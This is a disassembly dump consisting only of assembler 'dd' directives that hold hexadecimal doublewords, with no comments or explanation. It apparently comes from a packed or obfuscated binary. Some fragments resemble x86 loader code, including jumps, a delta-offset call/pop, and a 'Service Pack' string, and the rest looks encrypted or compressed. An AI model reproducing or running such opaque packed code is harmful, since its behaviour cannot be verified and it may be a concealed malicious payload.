		dd 0B3F75BFCh, 6916397Eh, 8956F93Eh, 384D80CAh,	5EB2F1Bh
		dd 559DE7E3h, 0A6FA2A0Dh, 391C23F9h, 23F9A709h,	8592F906h
		dd 0BFD83F54h, 0C6D32BDDh, 6D658B93h, 0ADD14023h, 0C1CE23F9h
		dd 1317297Dh, 231B79EEh, 0C6F60B3Ch, 0FF23F992h, 436595BAh
		dd 0AB1AFD47h, 0B02BDDB1h, 0E8FA70A3h, 0D6763F90h, 0BDD60706h
		dd 136FEB98h, 0A784F665h, 0B4C61A5Eh, 6D805D8Ah, 0A99AAEDAh
		dd 46381FE0h, 460F2859h, 0BBCDD508h, 0C009470Fh, 8E509376h
		dd 5E7023FAh, 0A4F45E1Eh, 2DC4F51Eh, 0B9EDDC20h, 2123F9BFh
		dd 5FEF664Dh, 26B4C81Bh, 793C2CF6h, 0DC73ACDDh,	538366AEh
		dd 5823FA5Fh, 2A821A4Bh, 515A5E4Fh, 28h, 0C8C0E650h, 979C9B7Eh
		dd 0D27F23F9h, 27272E86h, 0FE4790E3h, 9797CBBAh, 6CFF23F9h
		dd 0AAD787E3h, 0D9545A5Eh, 53000000h, 88D27CD9h, 1D322E40h
		dd 0F1BCE18h, 163EFA2Ah, 0C1F2FF1Ch, 98E7F94Dh,	51F36E74h
		dd 79DAF324h, 0BB9A8DD1h, 0F95C4F93h, 0C2112255h, 0DA1C168Bh
		dd 0A8EC62F3h, 4A0B2455h, 1C60F464h, 117ABBFEh,	59A29071h
		dd 0B3D5DD10h, 0B38A6DB7h, 0B823FD34h, 0A64F61ABh, 0D2B1AC8Ah
		dd 0D0B73162h, 0B3E3C683h, 0B823FC87h, 0EB038E0h
		dd 95DE3ABDh, 4F04194Ch, 0C2D509FBh, 99BDBAC1h,	3BA9Ch
		dd 89CF8B00h, 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh
		dd 7CC1EA1Eh, 2B4073D7h, 0DEF3262Ch, 90A5D878h,	0F15689C5h
		dd 9F74A487h, 0C57923FFh, 0C29178C4h, 153E5788h, 4F04EB35h
		dd 0D56FC5Bh, 0E24576C9h, 6FB88CDh, 0A0958C3Dh,	0D51E2E26h
		dd 0D1E3598Ch, 0A9E82AE2h, 0BA396AA0h, 8ED27CD9h, 4A94BA9Bh
		dd 2B5CF263h, 7CD94DC8h, 8EBEEED1h, 0AEBB1C15h,	0BEEB489Ah
		dd 0A5EEF02Dh, 67E76E61h, 0E1A2C34h, 0D779DDC4h, 6492CA6h
		dd 0A923F9FCh, 3569589Ch, 9D23F9D9h, 7129450Ah,	0F65A5ED5h
		dd 2Fh,	9FCFB2FAh, 9C23F9D0h, 0E6DF5E8Fh, 9B7EC8C0h, 23F9979Ch
		dd 3F2E727Fh, 23F9980Bh, 9BB89F73h, 0A457EAFh, 5EAA0E5Eh
		dd 0F62D5Ah, 782C0000h,	8F1D4D30h, 7B751C15h, 9FFDD197h
		dd 0CA8A379Eh, 0EF083982h, 0B1A4E866h, 3164DDA2h, 60A2BF6Ah
		dd 377FD317h, 4480450h,	979CCCB1h, 0DBBE1C15h, 1C1597ABh
		dd 2F3CA3B0h, 0DE70E5FEh, 9FAEA79Ah, 15978CBCh,	3B84911Ch
		dd 9CA8F708h, 0F4611C15h, 4312275Ah, 83AFC10Bh,	0E2318904h
		dd 0D7BD3162h, 8C6FB9B1h, 23FA6645h, 98BA9D4Ah,	3E180154h
		dd 8E96C912h, 43267078h, 2BE14066h, 0BF23C49h, 0EE1E0148h
		dd 0EB1C17BBh, 4D6295DEh, 82524406h, 9EC2A626h,	24D7D7Ah
		dd 62F80000h, 0ABAEC3F6h, 0F16378ABh, 4513285Bh, 8CC7DC0Fh
		dd 74578BBEh, 0ADE06AE9h, 6093BF98h, 12450B4Bh,	0C3F658FDh
		dd 0E111F45Eh, 0DE23FFA1h, 7AD9292Ah, 15279DD0h, 38D50B7Fh
		dd 8FA8D97Fh, 2C3E88C6h, 40AFD1D9h, 5C4346E4h, 6E9C0014h
		dd 0D317391Dh, 84E3780h, 39B41748h, 7EC8C0E6h, 0AF722436h
		dd 0A68FBFA2h, 7F8C1C15h, 2EAE6D6Bh, 9EE9E8FDh,	0B9C623F9h
		dd 9D528675h, 7FD523F9h, 0BE9689CDh, 574A8Eh, 98B75252h
		dd 113E7EBh, 454A80C4h,	73E376FFh, 0CDFDE02Ah, 0D223FA64h
		dd 0F45B94C5h, 5E752078h, 42256D5Ah, 23FA6912h,	0FD2C176Ah
		dd 3DA44E73h, 0EC5FFF30h, 63000000h, 3579DD7Ch,	0D932B1E2h
		dd 9B8ED27Ch, 4892B8h, 158EED1Dh, 5F1AF21Ch, 581EB53Ah
		dd 0D14576BFh, 160A93E2h, 0EFBF961Ch, 0F5D21B64h, 0C6A11538h
		dd 9DE6397Dh, 17BD4153h, 52EC0193h, 0ACA9BE21h,	230A5EA2h
		dd 86D91D33h, 2B274955h, 62B7FEE1h, 0E7F423FAh,	8D9AACB4h
		dd 0FA597AAAh, 89B99C23h, 8623FA59h, 0BC051279h, 40538F72h
		dd 2D752BE1h, 17BC1A4Ah, 0E1121F1Ch, 0CCEE724Ah, 0ED44D64h
		dd 4C337BC5h, 9EB4A307h, 64E86C55h, 11391A33h, 208AC9DEh
		dd 0E0D21B37h, 0C2A5D90Ah, 0ECD9D6FAh, 59000000h, 0F245701h
		dd 0C4D90C4Ah, 7489BC90h, 283D70E4h, 0B8EC1F2Bh, 41094A13h
		dd 0F45EF90Eh, 0A6AAACC1h, 57F75E73h, 7255BF24h, 23FFA342h
		dd 78929347h, 8F1D4D30h, 0B9A01C15h, 9F06599Dh,	0B486192h
		dd 5EF70C3Fh, 7842BDF0h, 8F1D4D30h, 15221C15h, 0C48ACBE4h
		dd 86C88D80h, 8395DD53h, 7EDF8F69h, 0A3A1FAFh, 0F1C1598h
		dd 0A3C5D102h, 0B77A5DA7h, 0DC23FFA1h, 25378BCFh, 1F04488Eh
		dd 0F62C40AEh, 633ADC3Ah, 0C491AADBh, 1342578Ah, 0E908F73Bh
		dd 0B3A10349h, 0DF73E4CBh, 0DDA75AEh, 62F26648h, 4F82CB1Eh
		dd 0E9331B3Ah, 0CDFE5602h, 381E0559h, 2871DD78h, 476091E4h
		dd 12F94311h, 66DA0B43h, 0F56E805Ch, 12422533h,	1796FF29h
		dd 2F84F60Ah, 0E46BA4D5h, 0CD004E07h, 6DB19DB8h, 0A70h
		dd 3F697500h, 0E52FE58h, 0D90B8ABBh, 0A093D781h, 625599B5h
		dd 25185CF4h, 0E9DC2032h, 0A99CE06Ah, 695CA0AAh, 2E2165EFh
		dd 0EFE22626h, 6AA8EC6Ah, 81E18951h, 4C1h, 4E98300h, 8B240C87h
		dd 5682424h, 89000017h,	89522404h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2414895Ch, 0EA09EB68h, 24048B07h, 6804C483h
		dd 6DB8h, 83242489h, 5A042404h,	8428F50h, 5A2434FFh, 4C481h
		dd 48B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 48BBE95Ch, 0FA43FFFBh, 0A77E27A3h, 1591B800h, 0C50307EAh
		dd 7647E0FFh, 8F2147BCh, 976B2BD5h, 58C219B8h, 9FA07847h
		dd 0ABB228AEh, 0D2DD05EAh, 11A147BCh, 0F737A33h, 338154A5h
		dd 69752C7Ch, 9EE6227Fh, 0B79C6EE5h, 0B934251Ah, 0A7F21BEEh
		dd 9DE97BF7h, 0E9000000h, 943AF7FCh, 5000000h, 1000000h
		dd 28000000h, 200000Ah,	53000000h, 69767265h, 50206563h
		dd 206B6361h, 32h, 1Dh dup(0)
		dd 0BD5E9h, 18BF6800h, 0E907EAh, 68FFFA67h, 7EA1A1Dh, 0FA66F6E9h
		dd 1B3768FFh, 0ECE907EAh, 68FFFA66h, 7EA1B91h, 0FA66E2E9h
		dd 1CAD68FFh, 0D8E907EAh, 68FFFA66h, 7EA1D23h, 0FA66CEE9h
		dd 205C68FFh, 0C4E907EAh, 68FFFA66h, 7EA215Fh, 0FA66BAE9h
		dd 9EC098FFh, 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah
		dd 114AB089h, 70861A36h, 0CEE47896h, 3046DAF0h,	0F4A73B53h
		dd 0B730C744h, 599E13A8h, 617956CAh, 7B997311h,	0A0C9AE2Bh
		dd 1C851442h, 14B2440Ah, 4CE71F37h, 2B43203Ah, 11E269DBh
		dd 3056D6ADh, 0BBEC22D0h, 0D5E71871h, 0B3FB94B3h, 0A7E4E663h
		dd 41AA13A6h, 88A35C09h, 172813A6h, 0F5D02F6Fh,	4305D877h
		dd 2E000000h, 5E39424Dh, 0FB99E942h, 34CF071Dh,	9DAFCFA8h
		dd 0A98C42BFh, 0E14A13A6h, 0C71AF391h, 9BD3E9h,	22CF95A7h
		dd 13A6A959h, 22FE9CEEh, 2602D008h, 0E039D40Ch,	497531CEh
		dd 0D87808B6h, 11D1Fh, 20924800h, 0D4AE1FA1h, 83E37EB6h
		dd 0F5D169FEh, 0AF08A3DBh, 8EA6839Dh, 91AD8856h, 96AE8B59h
		dd 0ECD6D446h, 4EA56077h, 0CBA8763Ch, 0E8C563B3h, 0A1F698D0h
		dd 0B80B86E2h, 8AACBE17h, 1C3612B0h, 3E3749E4h,	144289C6h
		dd 4D297451h, 1838C72Ch, 79D2E1A2h, 0B94DA641h,	76AEC6A3h
		dd 6EBEF09Fh, 75956E0Ch, 78946F3Dh, 12140D1Fh, 6013A632h
		dd 0C845A7F7h, 13A63A33h, 0B4E92F9Fh, 817C0140h, 0A8BE9C28h
		dd 0A1C3D570h, 51A10D82h, 5D7351EFh, 6A2A8A25h,	0F9A7B743h
		dd 810A0315h, 0CD1440A8h, 9B761464h, 0AF11EB7Fh, 896B4D32h
		dd 14A0091Bh, 0F10B1D39h, 74A6FA16h, 39623490h,	96673F9h
		dd 3D150000h, 9871871Bh, 0F2CEE478h, 4F2E44D8h,	0B691A73Bh
		dd 0C72D069Ah, 397B38Eh, 61F513EDh, 0C3576D4Bh,	24B8D0ADh
		dd 0BF44C171h, 1B13A8B8h, 7B5647D6h, 0B2080958h, 0FC5553F1h
		dd 13F08E68h, 1628C3FBh, 0B7071FFCh, 0AC205545h, 0E47FB7CFh
		dd 39913184h, 82B5D7D9h, 0DEF0CFECh, 0F492EBBCh, 9470FC1Ah
		dd 4A45687Ah, 0D1971464h, 9F13A6A9h, 0AA3DC23Fh, 309913A6h
		dd 0A82587D7h, 13A6AAD3h, 0FF132670h, 0A2F307F5h, 0DA122806h
		dd 0ED4E63Fh, 0A6669E61h, 79DB2D13h, 45B23E07h,	35A01516h
		dd 13A6A04Eh, 0F491A30Ch, 2AA709B0h, 13A6A055h,	0C25F9101h
		dd 9DE0A97Ah, 0A8573244h, 0EED8773Bh, 7A680F8Ch, 7DE613A6h
		dd 0BCB7891Dh, 4E60D7E8h, 0C4AFh, 7956D800h, 805B2961h
		dd 877F2C64h, 921442A4h, 71916AB5h, 0F5459E39h,	29617B57h
		dd 445A7C8Eh, 40174F67h, 710F5F4Fh, 536B4895h, 0EF27801Bh
		dd 0D0294721h, 0E163E0BEh, 0AF13A6B1h, 1884F646h, 0F1F619A1h
		dd 2E05EC21h, 0CA7F2ECEh, 1EBC96B8h, 56F12941h,	406E2144h
		dd 6D5773F0h, 0BC251440h, 0C4ADFA6Ch, 8CAD589Ah, 23FE9C7Ah
		dd 37997307h, 894FC5BAh, 17F5911Bh, 0D52EC901h,	0B2CEA9C3h
		dd 346BC65Eh, 35BBFB62h, 808h, 0E5799B73h, 42D6F6CFh, 0A236502Ch
		dd 599AD8Ch, 64F814EFh,	11EC658Bh, 714B61F5h, 0CBA9BF53h
		dd 2E0B21B5h, 1FCF8216h, 0A8BADDA2h, 0A5347913h, 0CB5F7B56h
		dd 2CC0D8B5h, 6179565Bh, 667E5B29h, 9FDCB3D2h, 0A674ACC0h
		dd 0DE79B1C9h, 5FDC2C85h, 13A8B6C8h, 77CD1686h,	99D1E9C6h
		dd 3A909EFEh, 852373CCh, 0ACA789A8h, 0D7806AB2h, 0A8B4A55Ah
		dd 6FC83113h, 668D8216h, 0F513A8B4h, 4F2B7E57h,	962FD35h
		dd 12436D1h, 0D5AA2790h, 8113A8B5h, 42BBF18h, 5D513E80h
		dd 0CC49AB0Dh, 13A8B537h, 2F283AA3h, 144C9961h,	1476C62Fh
		dd 8CE1E097h, 0F3056E1Bh, 166F515Ch, 0EEA18844h, 0F3D270C0h
		dd 607453DFh, 49F3704Eh, 7B031B8h, 8F669Eh, 7FFC5EAEh
		dd 0BF39FAF8h, 0FDDBED56h, 1120FD9Bh, 39FAEF94h, 0A9026BBFh
		dd 0FA27DC59h, 4AB3BF39h, 4A1B3F38h, 48BAB8DEh,	53BE6535h
		dd 0DEBDCFE6h, 0AA872575h, 0C8A44292h, 647A9CAEh, 131B6F87h
		dd 0C2BE9D0Eh, 6EEFC82h, 0B58D0000h, 10E9FF93h,	6A465CF0h
		dd 0C7A6BC50h, 2E091FB3h, 5FA57E12h, 7B0F2B06h,	0D96D8B65h
		dd 3BCFE5C3h, 9C304825h, 0C7BC39E9h, 9313A8BBh,	424DBF4Eh
		dd 889F1C6Ch, 0C613A8B6h, 966F0D5Dh, 0F3CCE276h, 0F0CD9BD3h
		dd 16F37BD1h, 63BC2690h, 1581290Fh, 0FA80C06Ah,	694h, 59ED0FE7h
		dd 0B64A6A43h, 16AAC4A0h, 790D2100h, 0D86C8863h, 8560F9FFh
		dd 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah, 0A8BB6116h
		dd 19A8ED13h, 1C6C424Dh, 0A8B6889Fh, 0D5DC613h,	0E67A926Fh
		dd 0DA599A0Ch, 130A0786h, 0FBB3DE01h, 2D5D2EABh, 0A81113A8h
		dd 2D39C370h, 7F9013A8h, 906897C7h, 336DD871h, 96000000h
		dd 1A6A444Dh, 42A0EA9Dh, 9B187814h, 1442A0E4h, 0DDFDD672h
		dd 58B10AA5h, 0A0887320h, 2E3F1442h, 1DB94676h,	71EE05Ch
		dd 47000000h, 1CD9Eh, 0C7452D00h, 2CA90E81h, 1442A057h
		dd 0F1419A03h, 0A68CA674h, 0FAD87413h, 0B811ACE4h, 0D6ECCA68h
		dd 5AF1039Eh, 0F48B086Ah, 6213A68Ch, 57EEE7F9h,	0D7BC0C23h
		dd 29A6F6B8h, 0A4285A17h, 0DD5ACD3Dh, 4D3373EDh, 71CAE6C1h
		dd 3009A739h, 0B4DBFE10h, 0F52DAAFAh, 0A7ACD75Fh, 0EE8CEE3Eh
		dd 22BDF515h, 0CE19F610h, 3080D9F1h, 0A0AA51CEh, 0BF28D318h
		dd 293B5933h, 0FC14F107h, 0A65B9AA8h, 9D2363AAh, 578h
		dd 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch,	0F488A47Fh
		dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h,	0AF5F12A6h
		dd 0A8BC4D32h, 35C40913h, 11617956h, 6E4D9473h,	2EC9015Ah
		dd 107F561Ch, 5ADC4E9Eh, 117A0BA9h, 23A07E90h, 13A65685h
		dd 0EF572D4h, 0CC13A657h, 9725163h, 0BC399B75h,	13A657C7h
		dd 0FE182A93h, 97B50921h, 7A6A1B63h, 502B43Ah, 0A1790000h
		dd 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh, 6B916AFEh
		dd 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h,	0D3A825D5h
		dd 7F13A8BDh, 7956AB3Ah, 7E5B2961h, 27F02E66h, 0B23007Fh
		dd 22FF9D77h, 463DBA0Ah, 141442A0h, 41BE99ABh, 96E05C1Dh
		dd 32h,	6C424DBFh, 0B8119F1Ch, 0D63F13A6h, 0B90EF19Eh
		dd 0ACBD13A6h, 4E4FC1F8h, 5DB9E5F7h, 69967183h,	6ED877F2h
		dd 56h,	662E1C8Eh, 6919AB5Fh, 424D8257h, 3B9F1C6Ch, 5913A6EFh
		dd 2902A0F0h, 9D90C02h,	0BB148802h, 0EEC3F96Bh,	192FC4AEh
		dd 0FF5F0B2Dh, 44569358h, 69E64822h, 13A62B92h,	9C63E040h
		dd 3A13A62Bh, 6D6678D1h, 13A62B93h, 7D112906h, 366E8E67h
		dd 42FB0h, 0F4923F00h, 2CC7FF17h, 1698F71Ah, 3D4A28C6h
		dd 42A03BC0h, 0D52E9714h, 8268E5C3h, 5013A682h,	4E1AFE7h
		dd 9250B4ECh, 87734E20h, 0ACBE7AB0h, 0B0DF570Fh, 3110AEFEh
		dd 0BE4AE51Dh, 0F38EC6E4h, 0E08603E1h, 6E1442D8h, 7E5B7105h
		dd 38572E66h, 3DEB666Fh, 0E672D6F8h, 4696EF0Bh,	6EB397C9h
		dd 60DD3D1Ch, 3EE8B9Bh,	0A4C09B37h, 0EC78D16Ch,	26C1F90Dh
		dd 0E9C795CDh, 931D02CCh, 0FB54C82Eh, 0FC1CF5C3h, 0E360DC4h
		dd 4EF6CD42h, 46DAF2CFh, 0F6466827h, 0A98AF79h,	97147604h
		dd 0BD29AE0h, 14F3056Eh, 43E173ABh, 7D185064h, 5C74516Bh
		dd 0EE966D24h, 35852966h, 3683EEB8h, 0B74BB40Ch, 74ACC4A1h
		dd 77AFCBA6h, 0DCB75513h, 5511AEC0h, 61F50DEAh,	0F60AE987h
		dd 0E0CEC1E4h, 0EAC91390h, 278734D2h, 2B96AA89h, 3B1AD254h
		dd 8409902h, 0D14E5D3Ah, 3B1AD22Ah
		dd 0AEE63FA8h, 0B5ED01E0h, 0B8F00CE7h, 601054D7h, 0E45014EBh
		dd 15B303ABh, 4EE92137h, 0B7C9E9C2h, 0CC025CD9h, 67D03CFEh
		dd 0C8E0BDD3h, 0CDE5C290h, 0E4C15F39h, 0F897BACCh, 0EDC866B6h
		dd 6EA6C49Eh, 0A7427AD3h, 0B03AB795h, 0FF249A22h, 875E748Dh
		dd 6C4A4F6Fh, 2A831E56h, 80D03918h, 89E909E2h, 0C66F6D64h
		dd 0CC92A4E9h, 62DD5C1Fh, 0AADAEB2Bh, 5D7351EFh, 0A08F704Bh
		dd 6448A13Bh, 71000000h, 0D19B2092h, 1158CD4h, 3BD60E22h
		dd 0E2ADD0E2h, 49FF7CCCh, 713A68Eh, 0C6B9669Eh,	5113A690h
		dd 54225A76h, 16ED6A75h, 0C413A690h, 8CCA025Bh,	77CF83C3h
		dd 92AA8725h, 0F26FBF5Ah, 13A6900Dh, 0B14E60C9h, 0E136C9F5h
		dd 0EE60D877h, 0C2AD24D8h, 6B0A1CF6h, 0DFh, 0D7AC298Bh
		dd 8313A600h, 5633081Ah, 9F116179h, 1E2816F1h, 8E26E01h
		dd 4412D8EAh, 47154D69h, 4C1A526Ah, 0CEC3576Fh,	14423B56h
		dd 9CEC04E1h, 0A9BD9C3Ah, 946BD671h, 42144203h,	8FA5C7D9h
		dd 8B629AB2h, 0DD5AAA04h, 13A60DCFh, 326019Dh, 2F874888h
		dd 94E43DBCh, 0A6256017h, 2C85EE13h, 4A603EDCh,	0DA3C1638h
		dd 0A625A65Dh, 7BCB3413h, 0A62579FEh, 5A6CD513h, 6565837h
		dd 40CFA189h, 0FA4AB314h, 0D165815Ch, 70C4E0BBh, 6234EBE6h
		dd 0C979FF3Fh, 0B2000001h, 0E24B8DAh, 6B811535h, 0CBE1758Fh
		dd 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h,	0F40AE8FEh
		dd 556D4A60h, 0E15E0EC1h, 13A8801Ah, 56E473B8h,	710F5F7Bh
		dd 0A6417997h, 7F5C7294h, 0A0791767h, 0FF17F480h, 4DFACBEDh
		dd 3F87542h, 941442A0h,	0CA659DB9h, 43C01079h, 1442A0BCh
		dd 858B11Ah, 0F2F08A6h,	112F09D7h, 0D3E53ED9h, 0A6A914DAh
		dd 481E313h, 13A6A97Fh,	816072DBh, 95EE0AE5h, 4F2DCB5Dh
		dd 54660139h, 0A6A9A05Bh, 6E162713h, 7808D12Eh,	0A606D8h
		dd 562F0000h, 5B296179h, 57B45D80h, 7205FA77h, 68D11442h
		dd 0D8D1C808h, 9A9A477Fh, 0AD144254h, 4A24B8D0h, 0A786CDACh
		dd 67023A93h, 135E3B55h, 8AC21B39h, 82D2DCB3h, 0A65B9705h
		dd 0C85CC513h, 78C8E6A9h, 4142F8FBh, 0E966C614h, 1B894B12h
		dd 2F4724C0h, 8F2D7DD6h, 0EE0498B4h, 0BDA3F713h, 7C623470h
		dd 0C6B63Ch, 0DDB50000h, 381127BBh, 926E8418h, 0EFCEE478h
		dd 563147DBh, 27CDA63Ah, 0A337532Eh, 195B38Dh, 63F70DEBh
		dd 0C458704Dh, 1FE46111h, 0BB13A881h, 7B56E776h, 0D8B5CB5Fh
		dd 0B4522CC0h, 0D6ABBDD9h, 4F2E7956h, 0F68033Bh, 244521BFh
		dd 0AA530112h, 0BFF75026h, 7E4C1224h, 0D6F589A1h, 28A5F5B9h
		dd 13A82107h, 0DCAAE24Bh, 0F997E7FFh, 33CE061Ah, 0CE9FF21h
		dd 7D0FBCF4h, 222EB5D3h, 0A17EE1A5h, 2DFF589h, 20FC9AEAh
		dd 86DFF5D3h, 8A17AC4Eh, 7B3EAB68h, 7C4A1022h, 9A51899Dh
		dd 66D883C3h, 0F9F74432h, 0BBD5E7B6h, 1C32C6DEh, 1989203Fh
		dd 6449E0C2h, 0D4DD30Bh, 0D3000000h, 43C5C35h, 0E43D5D36h
		dd 3E8DFDD2h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 0E68956EEh, 4C681h, 0EE830000h, 24348704h, 2414895Ch
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2D682434h
		dd 8900004Ch, 4268243Ch, 8B07EA17h, 0C4832434h,	70406804h
		dd 24890000h, 24048324h, 31685F04h, 89000074h, 0F2892414h
		dd 5A085789h, 50243C8Bh, 405E089h, 83000000h, 48704C0h
		dd 34FF5C24h, 0C4815E24h, 4, 0FA5B3AE9h, 0F16C74FFh, 4AB827F3h
		dd 307EA22h, 0AAE0FFC5h, 3651D9ACh, 472F45C1h, 2F2E9C5Ch
		dd 11107F81h, 0A5140577h, 59508A69h, 676C5551h,	2D679DC3h
		dd 206C3623h, 0E9797580h, 0Fh, 79D0545Ah, 2 dup(0)
		dd 0E9000000h, 559h, 0D96D8F67h, 36CAEAC3h, 962A4420h
		dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h
		dd 22FF15A9h, 13C3760Ah, 0A883E196h, 99286D13h,	29617956h
		dd 0F06D805Bh, 1442A00Bh, 71055EC7h, 2E667E5Bh,	336B8360h
		dd 346C8C65h, 2C1353D0h, 0C9A3374Fh, 0A015EA67h, 58C11442h
		dd 384E2C46h, 4F2CCAA4h, 7A882130h, 0AE07B513h,	0AFC9DB76h
		dd 0B583BBD1h, 0B785BDDBh, 0BC8AC2DAh, 0C290C8DEh, 0F893CBE7h
		dd 652D59D6h, 0F26D19F0h, 0A45AF714h, 262FD451h, 42AB1442h
		dd 190755E2h, 39162CC0h, 423CE921h, 5F14422Dh, 26FAEF61h
		dd 32BA90D1h, 9BC38320h, 0E05B6564h, 0A8B79432h, 4200542Bh
		dd 40990214h, 83BBDBB4h, 9437D6E8h, 60000000h, 502E7956h
		dd 0FCA9E13Ah, 1442A001h, 679FBB96h, 17A3BD99h,	84E8203Ch
		dd 11135F07h, 0CB691054h, 0EAC5D7EDh, 0E05C1115h, 0C4E91183h
		dd 0C668BE04h, 115B4h, 563E0000h, 0AB0D5D7Dh, 42A0492Eh
		dd 8A9C0514h, 0EDC032C4h, 0C15266C3h, 19F20C1Eh, 7537A9F9h
		dd 5D38DCB9h, 4A18DEF0h, 6907576Bh, 29D36B8Eh, 5DA419A2h
		dd 0E131CC04h, 42A59F64h, 0C0D23B14h, 6D1996FAh, 0A9F919F2h
		dd 0FBB49437h, 495BD565h, 1C341127h, 642C5ACCh,	0CE321CD9h
		dd 56C99ABCh, 59275F7Bh, 0EA286080h, 1FFA6521h,	3715B303h
		dd 3C4EE921h, 0F27041Ah, 132D09D7h, 2C3C51C3h, 0FFD751D7h
		dd 3B8D27EDh, 0CF1044C9h, 21460EAFh, 14DAD62h, 0EC899B91h
		dd 0D22B04B8h, 88ECE05Bh, 15000000h, 275F7B56h,	395C7D59h
		dd 0C907EAE4h, 0E64A82DBh, 67423D69h, 92F31144h, 98F888D4h
		dd 0EAD267A9h, 0A1358E4Fh, 4494B08Bh, 7AB2C8A6h, 3907CDDFh
		dd 58F6465Ah, 8A50627Ch, 0F7A7DFF0h, 0E05BED38h, 59BDh
		dd 7B56E600h, 7B59275Fh, 855F2D65h, 82612F67h, 2FF8366Eh
		dd 199C3B77h, 0FB17F26Dh, 941439ABh, 0EFF8F17Fh, 305D229Fh
		dd 90F91442h, 20825C7Eh, 4230DCA3h, 47653F14h, 0BA23740Fh
		dd 33B4F2Eh, 56815668h,	78255D7Dh, 1442A086h, 0F6A6DE9Bh
		dd 0E05C1109h, 1CEh, 7A56F700h,	93721060h, 38B5477Fh, 1442A043h
		dd 3B4DA60Fh, 7FCAA775h, 22FB87A5h, 0BB59A902h,	0F38EC6DEh
		dd 8D641BE1h, 798A66D9h, 42A007FCh, 116AD314h, 7D315E7Dh
		dd 0A94ECB2Dh, 251442A0h, 4FCCAABCh, 13A69119h,	5FA77D7h
		dd 0D113A692h, 9D70F68h, 0DBA01D2Ch, 7713A692h,	0B21B50Eh
		dd 31DE162Eh, 13A6924Ch, 0E7135B8h, 2BC91931h, 60FB3351h
		dd 0E0522C4Eh, 1C25D56Ch, 3A5466CEh, 3F0D455Dh,	0D4124A62h
		dd 7E45B0Bh, 6AC3E3BCh,	6400FFD6h, 0F896D877h, 7FA50519h
		dd 0A44FC244h, 2322C1D3h, 4B000001h, 5C39424Dh,	0C21B3511h
		dd 4696EF8Ah, 7B4F72E4h, 0AC0C2200h, 5264940Ch,	0A6458759h
		dd 0ACE44D13h, 55E901DEh, 124A623Fh, 0F704E280h, 0A7B9857Ah
		dd 8FE85113h, 90AABC57h, 25639BB3h, 5835285Ch, 60D2AC40h
		dd 0A0DB4422h, 694456C7h, 0D876EE96h, 483Fh, 444D6800h
		dd 69D1A6Ah, 546BBD5Fh,	7106B3EBh, 319442A0h, 0D7F3A6Ah
		dd 811020FDh, 6C8FA134h, 0BC398925h, 0EBBDBA27h, 0DFFBD674h
		dd 7352EECDh, 9872065Fh, 0C4DB7F26h, 52B2172Ah,	0C8703CD3h
		dd 0C496A8A6h, 86h, 65424D53h, 0EFEFA42Ch, 2474CD83h, 2D4924C2h
		dd 8570221Bh, 0B51E13A6h, 0BAD2AF7Dh, 0F48B086Ah, 2713A6F5h
		dd 61FC3448h, 7395A710h, 1868805Dh, 4981A17Ah, 0D8B14EAEh
		dd 0B3FE2746h, 0B22EDBA1h, 0B213A6D3h, 2B08772Fh, 2F607F13h
		dd 1E56704Ch, 5DDA2A83h, 144CF65Fh, 0BE8CC42Dh,	0DA91C9E1h
		dd 0BCD34303h, 0DE40A2F2h, 8C379A61h, 64CF381Bh, 1B8C379Fh
		dd 0A8C49F3Bh, 6A7CD570h, 15910F8Ch, 76DF1C66h,	424D11E2h
		dd 219F1C6Ch, 6F13A882h, 3F18B606h, 79470D1Fh, 5B75519Ch
		dd 7B586E02h, 187E2B63h, 656D92FFh, 0E4C1BCE8h,	0C3CB30C5h
		dd 6627B146h, 54B41D92h, 93EC1144h, 0AE8725FFh,	3AC13E8Eh
		dd 9892663Ah, 26031D2Fh, 0A644D60Eh, 8BA380C7h,	4D5FB853h
		dd 0F0405433h, 245C7652h, 0C7BC3989h, 9392663Ah, 8452182Ah
		dd 0B3558DA9h, 5AA21D43h, 39129E3Fh, 532AE119h,	0D2EA5F13h
		dd 2C3E5834h, 8B68D78Fh, 0F14A6440h, 3DC23FA1h,	999266F9h
		dd 22FC1E30h, 68344EC0h, 41A7AFC9h, 66ED21D6h, 3244AD92h
		dd 321C3B18h, 0B5A96380h, 58DE166Fh, 3,	563E8DE7h, 56245C7Eh
		dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh
		dd 703E768Ah, 74427A94h, 0EE437B9Bh, 3C8F68h, 241C8900h
		dd 0C381E389h, 4, 8704EB83h, 685C241Ch,	1D14h, 68240489h
		dd 69D5h, 52240C89h, 0EA2311BAh, 5A585207h, 240C8B54h
		dd 4C481h, 0BA520000h, 8, 53A4C281h, 0CA01672Dh, 53A4EA81h
		dd 289672Dh, 2434FF5Ah,	4C48359h, 582434FFh, 4C481h, 9CE90000h
		dd 0B2FFFA55h, 0A77263BEh, 0E12F17C4h, 27F9B876h, 0C50307EAh
		dd 5817E0FFh, 435D677Fh, 93A34BE0h, 0F2B0632Eh,	0AAE31F10h
		dd 7072119Fh, 68274562h, 59173D80h, 0A6B85D8Eh,	0B9D84BFBh
		dd 0DE1F396Dh, 88BE391Eh, 0F5462997h, 5E154237h, 0F8A02283h
		dd 160F78B5h, 4A4C0BE0h, 138E3CFBh, 4276899h, 24EB44FCh
		dd 9 dup(0)
		dd 0BDE9h, 0C1B58900h, 8B07EA28h, 0E4201585h, 0CD858B07h
		dd 8D07E41Bh, 0EA290BB5h, 17858D07h, 0FF07E784h, 0E855C3D0h
		dd 0
		dd 11ED815Dh, 8307EA29h, 0E42015BDh, 850F0107h,	2Ch, 28C1B5FFh
		dd 858B07EAh, 7E41BCDh,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 7EA28C5h
